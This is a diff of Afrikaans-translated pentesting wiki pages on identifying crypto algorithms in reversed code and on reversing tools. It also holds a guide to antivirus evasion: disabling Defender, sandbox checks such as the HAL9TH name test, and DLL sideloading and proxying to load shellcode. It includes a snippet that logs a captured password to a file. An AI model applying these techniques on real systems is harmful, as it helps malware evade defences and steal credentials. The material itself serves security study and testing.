As jy eindig in 'n kode **wat regte en linke skuif, xors en verskeie aritmetiese operasies** gebruik, is dit hoogs waarskynlik dat dit die implementering van 'n **kriptografiese algoritme** is. Hier gaan daar 'n paar maniere gewys word om die **algoritme wat gebruik word te identifiseer sonder om elke stap te moet omkeer**.
### API funksies
**CryptDeriveKey**
As hierdie funksie gebruik word, kan jy vind watter **algoritme gebruik word** deur die waarde van die tweede parameter te kontroleer:
![](<../../images/image (375) (1) (1) (1) (1).png>)
Kontroleer hier die tabel van moontlike algoritmes en hul toegewyde waardes: [https://docs.microsoft.com/en-us/windows/win32/seccrypto/alg-id](https://docs.microsoft.com/en-us/windows/win32/seccrypto/alg-id)
**RtlCompressBuffer/RtlDecompressBuffer**
Komprimeer en dekomprimeer 'n gegewe buffer van data.
**CryptAcquireContext**
Van [die dokumentasie](https://learn.microsoft.com/en-us/windows/win32/api/wincrypt/nf-wincrypt-cryptacquirecontexta): Die **CryptAcquireContext** funksie word gebruik om 'n handvatsel te verkry na 'n spesifieke sleutelhouer binne 'n spesifieke kriptografiese diensverskaffer (CSP). **Hierdie teruggegee handvatsel word gebruik in oproepe na CryptoAPI** funksies wat die geselekteerde CSP gebruik.
**CryptCreateHash**
Begin die hashing van 'n stroom data. As hierdie funksie gebruik word, kan jy vind watter **algoritme gebruik word** deur die waarde van die tweede parameter te kontroleer:
![](<../../images/image (376).png>)
\
Kontroleer hier die tabel van moontlike algoritmes en hul toegewyde waardes: [https://docs.microsoft.com/en-us/windows/win32/seccrypto/alg-id](https://docs.microsoft.com/en-us/windows/win32/seccrypto/alg-id)
### Kode konstantes
Soms is dit regtig maklik om 'n algoritme te identifiseer danksy die feit dat dit 'n spesiale en unieke waarde moet gebruik.
![](<../../images/image (370).png>)
As jy die eerste konstante in Google soek, is dit wat jy kry:
![](<../../images/image (371).png>)
Daarom kan jy aanvaar dat die dekompilde funksie 'n **sha256 sakrekenaar** is.\
Jy kan enige van die ander konstantes soek en jy sal (waarskynlik) dieselfde resultaat verkry.
### data info
As die kode geen betekenisvolle konstante het nie, kan dit **inligting van die .data afdeling laai**.\
Jy kan daardie data toegang, **die eerste dword groepeer** en dit in Google soek soos ons in die vorige afdeling gedoen het:
![](<../../images/image (372).png>)
In hierdie geval, as jy soek vir **0xA56363C6** kan jy vind dat dit verband hou met die **tabelle van die AES algoritme**.
## RC4 **(Simmetriese Kriptografie)**
### Kenmerke
Dit bestaan uit 3 hoofdele:
- **Inisialisering fase/**: Skep 'n **tabel van waardes van 0x00 tot 0xFF** (256bytes in totaal, 0x100). Hierdie tabel word algemeen die **Substitusie Boks** (of SBox) genoem.
- **Hussel fase**: Sal **deur die tabel** wat voorheen geskep is (lus van 0x100 iterasies, weer) loop en elke waarde met **semi-ewe random** bytes modifiseer. Om hierdie semi-ewe random bytes te skep, word die RC4 **sleutel gebruik**. RC4 **sleutels** kan **tussen 1 en 256 bytes in lengte** wees, maar dit word gewoonlik aanbeveel dat dit bo 5 bytes is. Gewoonlik is RC4 sleutels 16 bytes in lengte.
- **XOR fase**: Laastens, die plain-text of cyphertext word **XORed met die waardes wat voorheen geskep is**. Die funksie om te enkripteer en te dekripteer is dieselfde. Hiervoor sal 'n **lus deur die geskepte 256 bytes** uitgevoer word soveel keer as wat nodig is. Dit word gewoonlik in 'n dekompilde kode erken met 'n **%256 (mod 256)**.
> [!TIP]
> **Om 'n RC4 in 'n disassembly/dekompilde kode te identifiseer, kan jy kyk vir 2 lusse van grootte 0x100 (met die gebruik van 'n sleutel) en dan 'n XOR van die invoerdata met die 256 waardes wat voorheen in die 2 lusse geskep is, waarskynlik met 'n %256 (mod 256)**
### **Inisialisering fase/Substitusie Boks:** (Let op die nommer 256 wat as teenwoordiger gebruik word en hoe 'n 0 in elke plek van die 256 karakters geskryf word)
![](<../../images/image (377).png>)
### **Hussel Fase:**
![](<../../images/image (378).png>)
### **XOR Fase:**
![](<../../images/image (379).png>)
## **AES (Simmetriese Kriptografie)**
### **Kenmerke**
- Gebruik van **substitusie bokse en opsoek tabelle**
- Dit is moontlik om **AES te onderskei danksy die gebruik van spesifieke opsoek tabel waardes** (konstantes). _Let daarop dat die **konstante** **gestoor** kan word in die binêre **of geskep** _ _**dynamies**._
- Die **enkripsiesleutel** moet **deelbaar** wees deur **16** (gewoonlik 32B) en gewoonlik word 'n **IV** van 16B gebruik.
### SBox konstantes
![](<../../images/image (380).png>)
## Serpent **(Simmetriese Kriptografie)**
### Kenmerke
- Dit is selde om sekere malware wat dit gebruik te vind, maar daar is voorbeelde (Ursnif)
- Eenvoudig om te bepaal of 'n algoritme Serpent is of nie gebaseer op sy lengte (uiters lang funksie)
### Identifisering
In die volgende beeld let op hoe die konstante **0x9E3779B9** gebruik word (let daarop dat hierdie konstante ook deur ander kripto algoritmes soos **TEA** -Tiny Encryption Algorithm gebruik word).\
Let ook op die **grootte van die lus** (**132**) en die **aantal XOR operasies** in die **disassembly** instruksies en in die **kode** voorbeeld:
![](<../../images/image (381).png>)
Soos voorheen genoem, kan hierdie kode binne enige dekompiler as 'n **baie lange funksie** gesien word aangesien daar **nie spronge** binne dit is nie. Die dekompilde kode kan soos volg lyk:
![](<../../images/image (382).png>)
Daarom is dit moontlik om hierdie algoritme te identifiseer deur die **magiese nommer** en die **begin XORs** te kontroleer, 'n **baie lange funksie** te sien en **instruksies** van die lange funksie **te vergelyk** met 'n implementering (soos die skuif links deur 7 en die draai links deur 22).
## RSA **(Asimmetriese Kriptografie)**
### Kenmerke
- Meer kompleks as simmetriese algoritmes
- Daar is geen konstantes nie! (aangepaste implementasies is moeilik om te bepaal)
- KANAL (n kripto ontleder) slaag nie daarin om leidrade oor RSA te wys nie en dit staatmaak op konstantes.
### Identifisering deur vergelykings
![](<../../images/image (383).png>)
- In lyn 11 (links) is daar 'n `+7) >> 3` wat dieselfde is as in lyn 35 (regs): `+7) / 8`
- Lyn 12 (links) kontroleer of `modulus_len < 0x040` en in lyn 36 (regs) kontroleer dit of `inputLen+11 > modulusLen`
## MD5 & SHA (hash)
### Kenmerke
- 3 funksies: Init, Update, Final
- Soortgelyke inisialisering funksies
### Identifiseer
**Init**
Jy kan albei identifiseer deur die konstantes te kontroleer. Let daarop dat die sha_init 'n konstante het wat MD5 nie het nie:
![](<../../images/image (385).png>)
**MD5 Transform**
Let op die gebruik van meer konstantes
![](<../../images/image (253) (1) (1) (1).png>)
## CRC (hash)
- Kleiner en meer doeltreffend aangesien dit se funksie is om toevallige veranderinge in data te vind
- Gebruik opsoek tabelle (sodat jy konstantes kan identifiseer)
### Identifiseer
Kontroleer **opsoek tabel konstantes**:
![](<../../images/image (387).png>)
'n CRC hash algoritme lyk soos:
![](<../../images/image (386).png>)
## APLib (Kompressie)
### Kenmerke
- Nie herkenbare konstantes
- Jy kan probeer om die algoritme in python te skryf en soortgelyke dinge aanlyn te soek
### Identifiseer
Die grafiek is redelik groot:
![](<../../images/image (207) (2) (1).png>)
Kontroleer **3 vergelykings om dit te herken**:
![](<../../images/image (384).png>)
{{#include ../../banners/hacktricks-training.md}}

114
src/reversing/reversing-tools/README.md
View File

@ -1,114 +0,0 @@
{{#include ../../banners/hacktricks-training.md}}
# Wasm Decompilation en Wat Compilation Gids
In die wêreld van **WebAssembly** is gereedskap vir **decompiling** en **compiling** noodsaaklik vir ontwikkelaars. Hierdie gids stel 'n paar aanlyn hulpbronne en sagteware bekend vir die hantering van **Wasm (WebAssembly binêre)** en **Wat (WebAssembly teks)** lêers.
## Aanlyn Gereedskap
- Om Wasm na Wat te **decompile**, is die gereedskap beskikbaar by [Wabt's wasm2wat demo](https://webassembly.github.io/wabt/demo/wasm2wat/index.html) handig.
- Vir die **compiling** van Wat terug na Wasm, dien [Wabt's wat2wasm demo](https://webassembly.github.io/wabt/demo/wat2wasm/) die doel.
- 'n Ander dekompilasie opsie kan gevind word by [web-wasmdec](https://wwwg.github.io/web-wasmdec/).
## Sagteware Oplossings
- Vir 'n meer robuuste oplossing bied [JEB deur PNF Software](https://www.pnfsoftware.com/jeb/demo) uitgebreide funksies.
- Die oopbron projek [wasmdec](https://github.com/wwwg/wasmdec) is ook beskikbaar vir dekompilasie take.
# .Net Decompilation Hulpbronne
Dekomplilering van .Net assemblies kan gedoen word met gereedskap soos:
- [ILSpy](https://github.com/icsharpcode/ILSpy), wat ook 'n [plugin vir Visual Studio Code](https://github.com/icsharpcode/ilspy-vscode) bied, wat kruis-platform gebruik moontlik maak.
- Vir take wat **decompilation**, **modifikasie**, en **recompilation** insluit, word [dnSpy](https://github.com/0xd4d/dnSpy/releases) hoogs aanbeveel. **Regsklik** op 'n metode en kies **Modify Method** stel kode veranderinge in staat.
- [JetBrains' dotPeek](https://www.jetbrains.com/es-es/decompiler/) is 'n ander alternatief vir die dekompilering van .Net assemblies.
## Verbetering van Debugging en Logging met DNSpy
### DNSpy Logging
Om inligting na 'n lêer te log met DNSpy, sluit die volgende .Net kode-snippet in:
%%%cpp
using System.IO;
path = "C:\\inetpub\\temp\\MyTest2.txt";
File.AppendAllText(path, "Wagwoord: " + password + "\n");
%%%
### DNSpy Debugging
Vir effektiewe debugging met DNSpy, word 'n reeks stappe aanbeveel om **Assembly attributes** vir debugging aan te pas, wat verseker dat optimalisering wat debugging kan hindern, gedeaktiveer is. Hierdie proses sluit die verandering van die `DebuggableAttribute` instellings in, die herkompilering van die assembly, en die stoor van die veranderinge.
Boonop, om 'n .Net toepassing wat deur **IIS** gedraai word te debug, voer `iisreset /noforce` die IIS weer aan. Om DNSpy aan die IIS proses te heg vir debugging, gee die gids instruksies oor die keuse van die **w3wp.exe** proses binne DNSpy en die begin van die debugging sessie.
Vir 'n omvattende uitsig van gelaaide modules tydens debugging, word toegang tot die **Modules** venster in DNSpy aanbeveel, gevolg deur die opening van alle modules en die sortering van assemblies vir makliker navigasie en debugging.
Hierdie gids sluit die essensie van WebAssembly en .Net dekompilasie in, wat 'n pad bied vir ontwikkelaars om hierdie take met gemak te navigeer.
## **Java Decompiler**
Om Java bytecode te dekompileren, kan hierdie gereedskap baie nuttig wees:
- [jadx](https://github.com/skylot/jadx)
- [JD-GUI](https://github.com/java-decompiler/jd-gui/releases)
## **Debugging DLLs**
### Gebruik IDA
- **Rundll32** word gelaai vanaf spesifieke paaie vir 64-bit en 32-bit weergawes.
- **Windbg** word gekies as die debugger met die opsie om op biblioteek laai/ontlaai te suspendere geaktiveer.
- Uitvoeringsparameters sluit die DLL pad en funksienaam in. Hierdie opstelling stop uitvoering by elke DLL se laai.
### Gebruik x64dbg/x32dbg
- Soortgelyk aan IDA, word **rundll32** gelaai met opdraglyn wysigings om die DLL en funksie te spesifiseer.
- Instellings word aangepas om op DLL toegang te breek, wat breekpunte op die gewenste DLL toegangspunt moontlik maak.
### Beelde
- Uitvoeringsstop punte en konfigurasies word deur middel van skermskote geïllustreer.
## **ARM & MIPS**
- Vir emulering, is [arm_now](https://github.com/nongiach/arm_now) 'n nuttige hulpbron.
## **Shellcodes**
### Debugging Tegnieke
- **Blobrunner** en **jmp2it** is gereedskap vir die toewysing van shellcodes in geheue en die debugging daarvan met Ida of x64dbg.
- Blobrunner [vrygawes](https://github.com/OALabs/BlobRunner/releases/tag/v0.0.5)
- jmp2it [gecompileerde weergawe](https://github.com/adamkramer/jmp2it/releases/)
- **Cutter** bied GUI-gebaseerde shellcode emulering en inspeksie, wat verskille in shellcode hantering as 'n lêer teenoor direkte shellcode uitlig.
### Deobfuscation en Analise
- **scdbg** bied insigte in shellcode funksies en deobfuscation vermoëns.
%%%bash
scdbg.exe -f shellcode # Basiese inligting
scdbg.exe -f shellcode -r # Analise verslag
scdbg.exe -f shellcode -i -r # Interaktiewe hake
scdbg.exe -f shellcode -d # Dump gedecodeerde shellcode
scdbg.exe -f shellcode /findsc # Vind begin offset
scdbg.exe -f shellcode /foff 0x0000004D # Voer uit vanaf offset
%%%
- **CyberChef** vir die disassembelering van shellcode: [CyberChef resep](https://gchq.github.io/CyberChef/#recipe=To_Hex%28'Space',0%29Disassemble_x86%28'32','Full%20x86%20architecture',16,0,true,true%29)
## **Movfuscator**
- 'n obfuscator wat alle instruksies met `mov` vervang.
- Nuttige hulpbronne sluit 'n [YouTube verduideliking](https://www.youtube.com/watch?v=2VF_wPkiBJY) en [PDF skyfies](https://github.com/xoreaxeaxeax/movfuscator/blob/master/slides/domas_2015_the_movfuscator.pdf) in.
- **demovfuscator** mag movfuscator se obfuscation omkeer, wat afhanklikhede soos `libcapstone-dev` en `libz3-dev` vereis, en die installering van [keystone](https://github.com/keystone-engine/keystone/blob/master/docs/COMPILE-NIX.md).
## **Delphi**
- Vir Delphi binêre, word [IDR](https://github.com/crypto2011/IDR) aanbeveel.
# Kursusse
- [https://github.com/0xZ0F/Z0FCourse_ReverseEngineering](https://github.com/0xZ0F/Z0FCourse_ReverseEngineering)
- [https://github.com/malrev/ABD](https://github.com/malrev/ABD) \(Binêre deobfuscation\)
{{#include ../../banners/hacktricks-training.md}}

452
src/windows-hardening/av-bypass.md
View File

@ -1,4 +1,4 @@
# Antivirus (AV) Bypass
# Antivirus (AV) Omseiling
{{#include ../banners/hacktricks-training.md}}
@ -6,90 +6,90 @@
## Stop Defender
- [defendnot](https://github.com/es3n1n/defendnot): ’n hulpmiddel om Windows Defender te laat ophou werk.
- [no-defender](https://github.com/es3n1n/no-defender): ’n hulpmiddel om Windows Defender te laat ophou werk deur as ’n ander AV voor te gee.
- [defendnot](https://github.com/es3n1n/defendnot): 'n hulpmiddel om Windows Defender se werking te stop.
- [no-defender](https://github.com/es3n1n/no-defender): 'n hulpmiddel om Windows Defender se werking te stop deur 'n ander AV na te boots.
- [Disable Defender if you are admin](basic-powershell-for-pentesters/README.md)
## **AV Evasion Methodology**
## **AV Ontduikingsmetodologie**
Tans gebruik AV’s verskillende metodes om te kontroleer of ’n lêer kwaadwillig is of nie: static detection, dynamic analysis, en vir die meer gevorderde EDRs, behavioural analysis.
Tans gebruik AV's verskillende metodes om te bepaal of 'n lêer kwaadwillig is of nie: statiese deteksie, dinamiese analise, en vir die meer gevorderde EDRs, gedragsanalise.
### **Static detection**
### **Statiese deteksie**
Static detection word bereik deur bekende kwaadwillige strings of byte-reekse in ’n binary of script te merk, en ook deur inligting uit die lêer self te onttrek (bv. file description, company name, digital signatures, icon, checksum, ens.). Dit beteken dat die gebruik van bekende publieke tools jou makliker kan laat vang, aangesien hulle waarskynlik al ontleed en as kwaadwillig gemerk is. Daar is ’n paar maniere om hierdie soort deteksie te omseil:
Statiese deteksie word bereik deur bekende kwaadwillige stringe of bytes in 'n binêr of skrip te flag, en ook deur inligting uit die lêer self te onttrek (bv. file description, company name, digital signatures, icon, checksum, ens.). Dit beteken dat die gebruik van bekende publieke tools jou makliker kan laat vasloop, aangesien hulle waarskynlik al ontleed en as kwaadwillig aangeteken is. Daar is 'n paar maniere om hierdie soort deteksie te omseil:
- **Encryption**
- **Enkripsie**
As jy die binary enkripteer, sal daar geen manier wees vir AV om jou program te detect nie, maar jy sal ’n soort loader nodig hê om die program in geheue te dekodeer en te laat loop.
As jy die binêr enkripteer, sal daar geen manier wees vir AV om jou program te herken nie, maar jy sal 'n soort loader nodig hê om die program in geheue te deskripteer en uit te voer.
- **Obfuscation**
- **Obfuskasie**
Soms hoef jy net ’n paar strings in jou binary of script te verander om dit verby AV te kry, maar dit kan ’n tydrowende taak wees afhangend van wat jy probeer obfuskeer.
Soms is dit genoeg om net sekere stringe in jou binêr of skrip te verander om dit verby AV te kry, maar dit kan tydrowend wees afhangend van wat jy probeer obfuskeer.
- **Custom tooling**
- **Pasgemaakte gereedskap**
As jy jou eie tools ontwikkel, sal daar geen bekende slegte signatures wees nie, maar dit neem baie tyd en moeite.
As jy jou eie tools ontwikkel, sal daar geen bekende slegte signature wees nie, maar dit verg baie tyd en moeite.
> [!TIP]
> ’n Goeie manier om teen Windows Defender se static detection te toets is [ThreatCheck](https://github.com/rasta-mouse/ThreatCheck). Dit splits die lêer in verskeie segmente en laat Defender elkeen individueel scan; op hierdie manier kan dit jou presies vertel watter strings of bytes in jou binary gemerk word.
> 'n Goeie manier om teen Windows Defender se statiese deteksie te toets is [ThreatCheck](https://github.com/rasta-mouse/ThreatCheck). Dit verdeel basies die lêer in veelvuldige segmente en laat Defender elke segment individueel scan; op hierdie manier kan dit jou presies vertel watter stringe of bytes in jou binêr geflag is.
Ek beveel sterk aan dat jy hierdie [YouTube playlist](https://www.youtube.com/playlist?list=PLj05gPj8rk_pkb12mDe4PgYZ5qPxhGKGf) oor praktiese AV Evasion bekyk.
Ek beveel sterk aan dat jy hierdie [YouTube playlist](https://www.youtube.com/playlist?list=PLj05gPj8rk_pkb12mDe4PgYZ5qPxhGKGf) oor praktiese AV Evasion nagaan.
### **Dynamic analysis**
### **Dinamiese analise**
Dynamic analysis is wanneer die AV jou binary in ’n sandbox laat loop en kyk vir kwaadwillige aktiwiteit (bv. probeer om jou browser se wagwoorde te dekodeer en te lees, ’n minidump van LSASS te maak, ens.). Hierdie deel kan ’n bietjie moeilik wees om mee te werk, maar hier is ’n paar dinge wat jy kan doen om sandboxes te ontduik.
Dinamiese analise is wanneer die AV jou binêr in 'n sandbox laat loop en kyk na kwaadwillige aktiwiteit (bv. probeer om jou blaaier se wagwoorde te ontsleutel en te lees, 'n minidump op LSASS uit te voer, ens.). Hierdie deel kan bietjie moeilik wees om mee te werk, maar hier is 'n paar dinge wat jy kan doen om sandbokse te ontduik.
- **Sleep before execution** Afhangend van hoe dit geïmplementeer is, kan dit ’n goeie manier wees om AV se dynamic analysis te omseil. AV’s het baie min tyd om lêers te scan om nie die gebruiker se werkvloei te onderbreek nie, so die gebruik van lang sleeps kan die analise van binaries ontwrig. Die probleem is dat baie AV sandboxes net die sleep kan oorskiet afhangend van hoe dit geïmplementeer is.
- **Checking machine's resources** Gewoonlik het Sandboxes baie min hulpbronne om mee te werk (bv. < 2GB RAM), anders sou hulle die gebruiker se masjien kan vertraag. Jy kan hier ook baie kreatief wees, byvoorbeeld deur die CPU se temperatuur of selfs die waaierspoed na te gaan; nie alles sal in die sandbox geïmplementeer wees nie.
- **Machine-specific checks** As jy ’n gebruiker wil teiken wie se werkstasie by die "contoso.local" domain ingeskryf is, kan jy ’n check op die rekenaar se domain doen om te sien of dit by die een pas wat jy gespesifiseer het; as dit nie pas nie, kan jy jou program laat afsluit.
- **Wag (sleep) voor uitvoering** Afhangend van hoe dit geïmplementeer is, kan dit 'n goeie manier wees om AV se dinamiese analise te omseil. AV's het 'n baie kort tyd om lêers te scan om nie die gebruiker se werkvloei te onderbreek nie, so die gebruik van lang sleeps kan die analise van binêre lêers ontwrig. Die probleem is dat baie AV-sandboxe die slaap eenvoudig kan oorslaan, afhangend van hoe dit geïmplementeer is.
- **Kontroleer masjien se hulpbronne** Gewoonlik het Sandboxes baie min hulpbronne om mee te werk (bv. < 2GB RAM), anders sou hulle die gebruiker se masjien vertraag. Jy kan hier ook baie kreatief wees, byvoorbeeld deur die CPU se temperatuur of selfs die waaierafsetlae (fan speeds) na te gaan; nie alles sal in die sandbox geïmplementeer wees nie.
- **Masjien-spesifieke kontroles** As jy 'n gebruiker wil teiken wie se werkstasie aan die "contoso.local" domein behoort, kan jy 'n kontrole doen op die rekenaar se domein om te sien of dit met die een wat jy gespesifiseer het ooreenstem; as dit nie ooreenstem nie, kan jy jou program laat beëindig.
Dit blyk dat Microsoft Defender se Sandbox computername HAL9TH is, dus kan jy vir die computer name in jou malware kyk voordat dit detoneer; as die naam HAL9TH is, beteken dit jy is binne defender se sandbox, en jy kan jou program laat afsluit.
Dit blyk dat Microsoft Defender se Sandbox se computername HAL9TH is, so jy kan vir die computer name in jou malware kontroleer voor detonering; as die naam HAL9TH ooreenstem, beteken dit jy is binne Defender se sandbox, en dan kan jy jou program laat afsluit.
<figure><img src="../images/image (209).png" alt=""><figcaption><p>bron: <a href="https://youtu.be/StSLxFbVz0M?t=1439">https://youtu.be/StSLxFbVz0M?t=1439</a></p></figcaption></figure>
Nog ’n paar baie goeie wenke van [@mgeeky](https://twitter.com/mariuszbit) vir die stryd teen Sandboxes
Sommige ander baie goeie wenke van [@mgeeky](https://twitter.com/mariuszbit) vir die benadering teen Sandboxes
<figure><img src="../images/image (248).png" alt=""><figcaption><p><a href="https://discord.com/servers/red-team-vx-community-1012733841229746240">Red Team VX Discord</a> #malware-dev kanaal</p></figcaption></figure>
Soos ons vroeër in hierdie pos gesê het, sal **publieke tools** uiteindelik **gedetekteer word**, dus moet jy jouself ’n vraag vra:
Soos ons vroeër gesê het in hierdie pos, sal **publieke tools** uiteindelik **gedetecteer word**, so jy moet jouself iets afvra:
Byvoorbeeld, as jy LSASS wil dump, **het jy regtig mimikatz nodig**? Of kan jy ’n ander projek gebruik wat minder bekend is en ook LSASS dump?
Byvoorbeeld, as jy LSASS wil dump, **moet jy regtig mimikatz gebruik**? Of kan jy 'n ander projek gebruik wat minder bekend is en ook LSASS dump?
Die regte antwoord is waarskynlik die laasgenoemde. Neem mimikatz as voorbeeld: dit is waarskynlik een van, indien nie die mees gemerkte stuk malware deur AVs en EDRs nie; terwyl die projek self baie cool is, is dit ook ’n nagmerrie om dit te gebruik om AV’s te omseil, so kyk net vir alternatiewe vir wat jy probeer bereik.
Die regte antwoord is waarskynlik die laasgenoemde. Neem mimikatz as 'n voorbeeld — dit is waarskynlik een van, indien nie die mees ge-flagte stuk malware deur AVs en EDRs nie; alhoewel die projek self baie cool is, is dit ook 'n nagmerrie om daarmee te werk om rond AV's te kom, so kyk eerder na alternatiewe vir wat jy probeer bereik.
> [!TIP]
> As jy jou payloads wysig vir evasion, maak seker jy skakel die outomatiese sample submission in defender af, en asseblief, ernstig, **DO NOT UPLOAD TO VIRUSTOTAL** as jou doel is om doodloopvlak-evasië te bereik. As jy wil toets of jou payload deur ’n spesifieke AV gedetekteer word, installeer dit op ’n VM, probeer om die outomatiese sample submission af te skakel, en toets dit daar totdat jy tevrede is met die resultaat.
> Wanneer jy jou payloads wysig vir ontduiking, maak seker om die outomatiese voorbeeldindiening in Defender af te skakel, en asseblief, ernstig: DO NOT UPLOAD TO VIRUSTOTAL as jou doel is om op die lang duur ontduiking te bereik. As jy wil toets of jou payload deur 'n spesifieke AV gedetecteer word, installeer dit op 'n VM, probeer om outomatiese voorbeeldindiening af te skakel, en toets daar totdat jy tevrede is met die resultaat.
## EXEs vs DLLs
Wanneer dit moontlik is, prioritiseer altyd die gebruik van DLLs vir evasion; uit my ervaring word DLL-lêers gewoonlik baie minder gedetekteer en ontleed, so dit is ’n baie eenvoudige truuk om in sekere gevalle deteksie te vermy (as jou payload natuurlik ’n manier het om as ’n DLL te loop).
Wanneer dit moontlik is, prioritiseer altyd die gebruik van DLLs vir ontduiking; uit my ervaring word DLL-lêers gewoonlik baie minder gedetecteer en ontleed, so dit is 'n baie eenvoudige truuk om in sekere gevalle deteksie te vermy (as jou payload natuurlik 'n manier het om as 'n DLL uitgevoer te word).
Soos ons in hierdie beeld kan sien, het ’n DLL Payload van Havoc ’n detection rate van 4/26 in antiscan.me, terwyl die EXE payload ’n 7/26 detection rate het.
Soos ons in hierdie beeld kan sien, het 'n DLL Payload van Havoc 'n deteksiekoers van 4/26 op antiscan.me, terwyl die EXE payload 'n 7/26 deteksiekoers het.
<figure><img src="../images/image (1130).png" alt=""><figcaption><p>antiscan.me vergelyking van ’n normale Havoc EXE payload teenoor ’n normale Havoc DLL</p></figcaption></figure>
<figure><img src="../images/image (1130).png" alt=""><figcaption><p>antiscan.me vergelyking van 'n normale Havoc EXE payload versus 'n normale Havoc DLL</p></figcaption></figure>
Nou sal ons ’n paar truuks wys wat jy met DLL-lêers kan gebruik om baie meer stealthy te wees.
Nou wys ons 'n paar truuks wat jy met DLL-lêers kan gebruik om baie meer onopvallend te wees.
## DLL Sideloading & Proxying
**DLL Sideloading** maak voordeel van die DLL search order wat deur die loader gebruik word deur beide die slagoffertoepassing en kwaadwillige payload(s) langs mekaar te posisioneer.
**DLL Sideloading** maak voordeel van die DLL-soekorde wat deur die loader gebruik word deur die slagoffer aansoek en die kwaadwillige payload(s) langs mekaar te posisioneer.
Jy kan vir programme kyk wat vatbaar is vir DLL Sideloading deur [Siofra](https://github.com/Cybereason/siofra) en die volgende powershell script te gebruik:
Jy kan programme nagaan wat vatbaar is vir DLL Sideloading met [Siofra](https://github.com/Cybereason/siofra) en die volgende powershell skrip:
```bash
Get-ChildItem -Path "C:\Program Files\" -Filter *.exe -Recurse -File -Name| ForEach-Object {
$binarytoCheck = "C:\Program Files\" + $_
C:\Users\user\Desktop\Siofra64.exe --mode file-scan --enum-dependency --dll-hijack -f $binarytoCheck
}
```
Hierdie opdrag sal die lys van programme wat vatbaar is vir DLL hijacking binne "C:\Program Files\\" en die DLL-lêers wat hulle probeer laai, vertoon.
Hierdie opdrag sal die lys van programme wat vatbaar is vir DLL hijacking binne "C:\Program Files\\" en die DLL files wat hulle probeer laai, uitset.
Ek beveel sterk aan dat jy **DLL Hijackable/Sideloadable programs self ondersoek**; hierdie tegniek kan redelik onopvallend wees as dit behoorlik uitgevoer word, maar as jy algemeen bekende DLL Sideloadable programs gebruik, kan jy maklik gevang word.
Ek beveel sterk aan dat jy **DLL Hijackable/Sideloadable programs self verken**, hierdie tegniek is redelik onopvallend as dit behoorlik toegepas word, maar as jy publiek-bekende DLL Sideloadable programs gebruik, kan jy maklik gevang word.
Net deur 'n kwaadwillige DLL met die naam wat 'n program verwag om te laai te plaas, sal nie noodwendig jou payload laai nie, aangesien die program sekere spesifieke funksies binne daardie DLL verwag. Om hierdie probleem op te los, sal ons 'n ander tegniek gebruik wat **DLL Proxying/Forwarding** genoem word.
Net deur 'n skadelike DLL te plaas met die naam wat 'n program verwag om te laai, sal nie noodwendig jou payload laai nie, want die program verwag sekere spesifieke funksies binne daardie DLL; om hierdie probleem reg te stel, sal ons 'n ander tegniek gebruik wat **DLL Proxying/Forwarding** genoem word.
**DLL Proxying** stuur die oproepe wat 'n program maak vanaf die proxy (en kwaadwillige) DLL na die oorspronklike DLL deur, en behou sodoende die program se funksionaliteit terwyl dit die uitvoering van jou payload kan hanteer.
**DLL Proxying** stuur die oproepe wat 'n program maak vanaf die proxy (en skadelike) DLL na die oorspronklike DLL deur, waardeur die program se funksionaliteit behoue bly en jy in staat is om die uitvoering van jou payload te hanteer.
Ek sal die [SharpDLLProxy](https://github.com/Flangvik/SharpDllProxy) projek van [@flangvik](https://twitter.com/Flangvik/) gebruik.
Ek gaan die [SharpDLLProxy](https://github.com/Flangvik/SharpDllProxy) project van [@flangvik](https://twitter.com/Flangvik/) gebruik
Dit is die stappe wat ek gevolg het:
```
@ -104,40 +104,42 @@ Die laaste opdrag sal ons 2 lêers gee: 'n DLL-bronkode-sjabloon, en die oorspro
```
5. Create a new visual studio project (C++ DLL), paste the code generated by SharpDLLProxy (Under output_dllname/dllname_pragma.c) and compile. Now you should have a proxy dll which will load the shellcode you've specified and also forward any calls to the original DLL.
```
Hier is die resultate:
<figure><img src="../images/dll_sideloading_demo.gif" alt=""><figcaption></figcaption></figure>
Beide ons shellcode (encoded with [SGN](https://github.com/EgeBalci/sgn)) en die proxy DLL het 'n 0/26 Detection rate in [antiscan.me](https://antiscan.me)! Ek sou dit 'n sukses noem.
Albei ons shellcode (encoded with [SGN](https://github.com/EgeBalci/sgn)) en die proxy DLL het 'n 0/26 deteksiesyfer op [antiscan.me](https://antiscan.me)! Ek sou dit 'n sukses noem.
<figure><img src="../images/image (193).png" alt=""><figcaption></figcaption></figure>
> [!TIP]
> Ek beveel **sterk aan** dat jy [S3cur3Th1sSh1t's twitch VOD](https://www.twitch.tv/videos/1644171543) oor DLL Sideloading kyk en ook [ippsec's video](https://www.youtube.com/watch?v=3eROsG_WNpE) om meer te leer oor wat ons meer in diepte bespreek het.
> Ek **beveel sterk aan** dat jy [S3cur3Th1sSh1t's twitch VOD](https://www.twitch.tv/videos/1644171543) oor DLL Sideloading kyk en ook [ippsec's video](https://www.youtube.com/watch?v=3eROsG_WNpE) om meer in-diepte te leer oor wat ons bespreek het.
### Abusing Forwarded Exports (ForwardSideLoading)
### Misbruik van Forwarded Exports (ForwardSideLoading)
Windows PE modules kan funksies export wat eintlik "forwarders" is: in plaas daarvan om na code te wys, bevat die export entry 'n ASCII string van die vorm `TargetDll.TargetFunc`. Wanneer 'n caller die export resolve, sal die Windows loader:
Windows PE-modules kan funksies exporteer wat eintlik "forwarders" is: in plaas daarvan om na kode te wys, bevat die export entry 'n ASCII string van die vorm `TargetDll.TargetFunc`. Wanneer 'n oproeper die export oplos, sal die Windows loader:
- Laai `TargetDll` indien dit nog nie gelaai is nie
- Resolve `TargetFunc` daaruit
- Laai `TargetDll` as dit nie reeds gelaai is nie
- Los `TargetFunc` daaruit op
Belangrike gedrag om te verstaan:
- As `TargetDll` 'n KnownDLL is, word dit verskaf vanaf die beskermde KnownDLLs namespace (bv., ntdll, kernelbase, ole32).
- As `TargetDll` nie 'n KnownDLL is nie, word die normale DLL-soekorde gebruik, wat die gids van die module wat die forward resolution doen insluit.
- As `TargetDll` 'n KnownDLL is, word dit verskaf vanuit die beskermde KnownDLLs namespace (bv. ntdll, kernelbase, ole32).
- Indien `TargetDll` nie 'n KnownDLL is nie, word die normale DLL-soekorde gebruik, wat die gids insluit van die module wat die forward-resolusie uitvoer.
Dit maak 'n indirekte sideloading primitive moontlik: vind 'n signed DLL wat 'n funksie export wat forwarded is na 'n nie-KnownDLL module naam, en ko-lokaliseer daardie signed DLL saam met 'n attacker-controlled DLL wat presies die naam van die forwarded target module het. Wanneer die forwarded export aangeroep word, los die loader die forward op en laai jou DLL vanaf dieselfde gids, en voer jou DllMain uit.
